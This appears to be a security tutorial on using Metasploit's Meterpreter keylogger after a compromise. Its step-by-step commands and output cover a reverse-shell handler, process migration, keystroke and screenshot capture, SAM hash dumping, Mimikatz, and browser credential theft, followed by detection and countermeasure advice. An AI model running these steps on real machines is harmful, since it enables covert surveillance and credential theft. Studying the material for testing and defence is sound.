Use Metasploit Keylogger

Meterpreter, the advanced Metasploit Framework payload, includes among its post-exploitation functionalities a keylogger integrated that allows you to capture all keystrokes of the compromised system. This capability, combined with the ability to take screenshots and monitor processes, makes Meterpreter a complete tool for the information collection phase after a successful intrusion.

Prerequisites

To use the Meterpreter keylogger, we need:

• An active Meterpreter session on the target system.
• Sufficient privileges (ideally SYSTEM) to capture keystrokes of all users.
• Migration to the correct desktop process of the target user.

Get a Meterpreter session

We first establish a Meterpreter session using any available exploitation vector:

# Ejemplo: usar handler para recibir una conexión inversa
msf> use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.100
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit

[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.50:49152)

# Verificar privilegios
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM

# Ver información del sistema
meterpreter> sysinfo
Computer        : WORKSTATION01
OS              : Windows 10 (10.0 Build 19045)
Architecture    : x64
Meterpreter     : x86/windows

Migration to the desktop process

The keylogger only captures keystrokes from the process in which Meterpreter is injected. To capture user keystrokes, we must migrate to the process explorer.exe or to any process that has access to the user's desktop:

# Listar procesos para encontrar explorer.exe
meterpreter> ps

PID   PPID  Name              Arch  Session  User
---   ----  ----              ----  -------  ----
428   4     smss.exe
1204  512   explorer.exe      x64   1        WORKSTATION01\usuario
2816  1204  firefox.exe       x64   1        WORKSTATION01\usuario

# Migrar al proceso explorer.exe
meterpreter> migrate 1204
[*] Migrating from 3456 to 1204...
[*] Migration completed successfully.

# Verificar que estamos en el proceso correcto
meterpreter> getpid
Current pid: 1204

Important: If the process we migrate to terminates (the user logs out, for example), we lose the Meterpreter session. Consider using migrate -P for persistence or configure a reconnection mechanism.

Start the keylogger

With the migration completed, we start keystroke capture:

# Iniciar la captura de pulsaciones
meterpreter> keyscan_start
Starting the keystroke sniffer ...

# Esperar un tiempo para que el usuario escriba...

# Volcar las pulsaciones capturadas
meterpreter> keyscan_dump
Dumping captured keystrokes...

usuario@empresa.com  MyPassword123! 
Hello, I send you the report 

# Stop keylogger
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

The keylogger captures special keys like <Return>, <Tab>, <Back>, <Shift>, etc., which allows us to reconstruct credentials, messages and visited URLs.

Screenshots

Supplementing the keylogger with screenshots provides visual context of what the user is doing:

# Tomar una captura de pantalla
meterpreter> screenshot
Screenshot saved to: /root/dkHBwQQm.jpeg

# Captura de pantalla con nombre personalizado
meterpreter> screenshot -p /tmp/captura_escritorio.jpg

Automation with post-exploitation scripts

Meterpreter allows you to automate the periodic capture of keystrokes and screenshots:

# Usar el módulo post de keylogger con volcado automático
meterpreter> run post/windows/capture/keylog_recorder

[*] Executing module against WORKSTATION01
[*] Starting the keylog recorder...
[*] Keystrokes being saved to /root/.msf4/loot/20240320_keylog_*.txt
[*] Recording keystrokes...

# Módulo post para screenshots periódicos
meterpreter> run post/windows/gather/screen_spy

[*] Capturing screenshots every 10 seconds...
[*] Screenshots saved to /root/.msf4/loot/

Other credential harvesting techniques

The keylogger is just one of the techniques available in Meterpreter to collect credentials:

# Extraer hashes de contraseñas SAM
meterpreter> hashdump

Administrator:500:aad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
usuario:1001:aad3b435b51404ee:7b592e4f8178b4c75788531b2e747687:::

# Cargar Mimikatz (kiwi) para extraer credenciales en texto claro
meterpreter> load kiwi
meterpreter> creds_all

# Extraer credenciales de navegadores
meterpreter> run post/multi/gather/firefox_creds
meterpreter> run post/windows/gather/enum_chrome

Detection and countermeasures

From a defensive perspective, there are several ways to detect and prevent the use of Meterpreter keyloggers:

• EDR/Antivirus — Modern endpoint detection solutions detect code injection into legitimate processes (technique used by migrate).
• Process monitoring — Alert when an unexpected process calls APIs SetWindowsHookEx either GetAsyncKeyState.
• Sysmon — Configure Sysmon rules to detect process injection events (Event ID 8: CreateRemoteThread).
• Virtual keyboards — For sensitive operations such as online banking, use virtual keyboards that do not generate standard keyboard events.
• Multi-factor authentication (MFA) — Even if the keylogger captures the password, MFA adds an additional layer that the keylogger cannot easily intercept.
• Password managers — With autocomplete, they avoid the need to enter passwords manually.

<!-- Regla Sysmon para detectar inyección de procesos -->
<RuleGroup groupRelation="or">
  <CreateRemoteThread onmatch="include">
    <TargetImage condition="is">C:\Windows\explorer.exe</TargetImage>
  </CreateRemoteThread>
</RuleGroup>

The Meterpreter keylogger is a clear demonstration of why defense in depth is essential. Credential capture is trivial once an attacker has access to the system. The real defense is preventing the initial compromise, detecting the intrusion early, and minimizing the impact through segmentation, MFA, and continuous monitoring.

:wq!